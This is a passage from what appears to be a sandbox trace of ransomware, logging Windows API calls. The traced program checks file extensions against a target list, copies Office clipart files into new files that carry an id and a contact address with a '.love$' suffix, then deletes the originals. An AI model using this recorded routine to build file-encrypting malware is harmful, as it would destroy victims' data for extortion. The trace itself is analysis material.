lpString2="_.WMF") returned -1 [0120.960] lstrlenW (lpString=".ppt") returned 4 [0120.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0120.960] lstrlenW (lpString=".zip") returned 4 [0120.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.960] lstrlenW (lpString=".rar") returned 4 [0120.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.960] lstrlenW (lpString=".bz2") returned 4 [0120.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.960] lstrlenW (lpString=".7z") returned 3 [0120.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0120.960] lstrlenW (lpString=".dbf") returned 4 [0120.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0120.961] lstrlenW (lpString=".1cd") returned 4 [0120.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0120.961] lstrlenW (lpString=".jpg") returned 4 [0120.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.961] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.961] lstrlenW (lpString="AN04191_.WMF") returned 12 [0120.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.961] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=6636) returned 1 [0120.961] CloseHandle (hObject=0x380) returned 1 [0120.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220 [0120.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.962] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.962] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0120.963] GetLastError () returned 0x0 [0120.963] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x19ec, lpOverlapped=0x0) returned 1 [0120.969] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0120.970] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.970] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.971] SetEndOfFile (hFile=0x354) returned 1 [0120.971] CloseHandle (hObject=0x354) returned 1 [0120.972] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.972] SetEndOfFile (hFile=0x380) returned 1 [0120.973] CloseHandle (hObject=0x380) returned 1 [0120.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0120.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0120.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0120.974] lstrlenW (lpString=".doc") returned 4 [0120.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.974] lstrlenW (lpString=".docx") returned 5 [0120.974] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.974] lstrlenW (lpString=".pdf") returned 4 [0120.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.975] lstrlenW (lpString=".xls") returned 4 [0120.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.975] lstrlenW (lpString=".xlsx") returned 5 [0120.975] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.975] lstrlenW (lpString=".ppt") returned 4 [0120.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0120.975] lstrlenW (lpString=".zip") returned 4 [0120.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.975] lstrlenW (lpString=".rar") returned 4 [0120.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.975] lstrlenW (lpString=".bz2") returned 4 [0120.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.975] lstrlenW (lpString=".7z") returned 3 [0120.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0120.975] lstrlenW (lpString=".dbf") returned 4 [0120.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0120.975] lstrlenW (lpString=".1cd") returned 4 [0120.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0120.975] lstrlenW (lpString=".jpg") returned 4 [0120.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0120.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0120.975] lstrlenW (lpString=".doc") returned 4 [0120.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.976] lstrlenW (lpString=".docx") returned 5 [0120.976] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.976] lstrlenW (lpString=".pdf") returned 4 [0120.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.976] lstrlenW (lpString=".xls") returned 4 [0120.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.976] lstrlenW (lpString=".xlsx") returned 5 [0120.976] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.976] lstrlenW (lpString=".ppt") returned 4 [0120.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0120.976] lstrlenW (lpString=".zip") returned 4 [0120.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.976] lstrlenW (lpString=".rar") returned 4 [0120.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.976] lstrlenW (lpString=".bz2") returned 4 [0120.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.976] lstrlenW (lpString=".7z") returned 3 [0120.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0120.976] lstrlenW (lpString=".dbf") returned 4 [0120.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0120.976] lstrlenW (lpString=".1cd") returned 4 [0120.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0120.976] lstrlenW (lpString=".jpg") returned 4 [0120.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.977] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.977] lstrlenW (lpString="AN04195_.WMF") returned 12 [0120.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.977] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4612) returned 1 [0120.977] CloseHandle (hObject=0x380) returned 1 [0120.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0x220 [0120.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.978] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.978] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0120.979] GetLastError () returned 0x0 [0120.979] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x1204, lpOverlapped=0x0) returned 1 [0120.981] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1210, lpOverlapped=0x0) returned 1 [0120.982] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.982] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.983] SetEndOfFile (hFile=0x354) returned 1 [0120.983] CloseHandle (hObject=0x354) returned 1 [0120.984] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.984] SetEndOfFile (hFile=0x380) returned 1 [0120.985] CloseHandle (hObject=0x380) returned 1 [0120.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0120.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0120.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0120.986] lstrlenW (lpString=".doc") returned 4 [0120.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.986] lstrlenW (lpString=".docx") returned 5 [0120.986] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.986] lstrlenW (lpString=".pdf") returned 4 [0120.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.986] lstrlenW (lpString=".xls") returned 4 [0120.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.986] lstrlenW (lpString=".xlsx") returned 5 [0120.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.986] lstrlenW (lpString=".ppt") returned 4 [0120.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0120.987] lstrlenW (lpString=".zip") returned 4 [0120.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.987] lstrlenW (lpString=".rar") returned 4 [0120.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.987] lstrlenW (lpString=".bz2") returned 4 [0120.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.987] lstrlenW (lpString=".7z") returned 3 [0120.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0120.987] lstrlenW (lpString=".dbf") returned 4 [0120.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0120.987] lstrlenW (lpString=".1cd") returned 4 [0120.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0120.987] lstrlenW (lpString=".jpg") returned 4 [0120.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0120.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0120.987] lstrlenW (lpString=".doc") returned 4 [0120.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.988] lstrlenW (lpString=".docx") returned 5 [0120.988] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.988] lstrlenW (lpString=".pdf") returned 4 [0120.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.988] lstrlenW (lpString=".xls") returned 4 [0120.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.988] lstrlenW (lpString=".xlsx") returned 5 [0120.988] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.988] lstrlenW (lpString=".ppt") returned 4 [0120.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0120.988] lstrlenW (lpString=".zip") returned 4 [0120.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.988] lstrlenW (lpString=".rar") returned 4 [0120.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.988] lstrlenW (lpString=".bz2") returned 4 [0120.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.988] lstrlenW (lpString=".7z") returned 3 [0120.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0120.988] lstrlenW (lpString=".dbf") returned 4 [0120.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0120.988] lstrlenW (lpString=".1cd") returned 4 [0120.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0120.988] lstrlenW (lpString=".jpg") returned 4 [0120.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.989] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.989] lstrlenW (lpString="AN04196_.WMF") returned 12 [0120.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0121.737] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3144) returned 1 [0121.738] CloseHandle (hObject=0x374) returned 1 [0121.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 0x220 [0121.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0121.738] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.738] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0121.739] GetLastError () returned 0x0 [0121.739] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0xc48, lpOverlapped=0x0) returned 1 [0121.741] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xc50, lpOverlapped=0x0) returned 1 [0121.742] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.742] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0121.742] SetEndOfFile (hFile=0x394) returned 1 [0121.743] CloseHandle (hObject=0x394) returned 1 [0121.748] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.749] SetEndOfFile (hFile=0x374) returned 1 [0121.750] CloseHandle (hObject=0x374) returned 1 [0121.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0121.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0121.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0121.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0121.751] lstrlenW (lpString=".doc") returned 4 [0121.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.751] lstrlenW (lpString=".docx") returned 5 [0121.751] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.751] lstrlenW (lpString=".pdf") returned 4 [0121.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.751] lstrlenW (lpString=".xls") returned 4 [0121.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.751] lstrlenW (lpString=".xlsx") returned 5 [0121.751] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.751] lstrlenW (lpString=".ppt") returned 4 [0121.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0121.751] lstrlenW (lpString=".zip") returned 4 [0121.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.751] lstrlenW (lpString=".rar") returned 4 [0121.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.751] lstrlenW (lpString=".bz2") returned 4 [0121.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.751] lstrlenW (lpString=".7z") returned 3 [0121.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0121.751] lstrlenW (lpString=".dbf") returned 4 [0121.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0121.751] lstrlenW (lpString=".1cd") returned 4 [0121.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0121.751] lstrlenW (lpString=".jpg") returned 4 [0121.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0121.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0121.752] lstrlenW (lpString=".doc") returned 4 [0121.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.752] lstrlenW (lpString=".docx") returned 5 [0121.752] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.752] lstrlenW (lpString=".pdf") returned 4 [0121.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.752] lstrlenW (lpString=".xls") returned 4 [0121.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.752] lstrlenW (lpString=".xlsx") returned 5 [0121.752] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.752] lstrlenW (lpString=".ppt") returned 4 [0121.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0121.752] lstrlenW (lpString=".zip") returned 4 [0121.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.752] lstrlenW (lpString=".rar") returned 4 [0121.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.752] lstrlenW 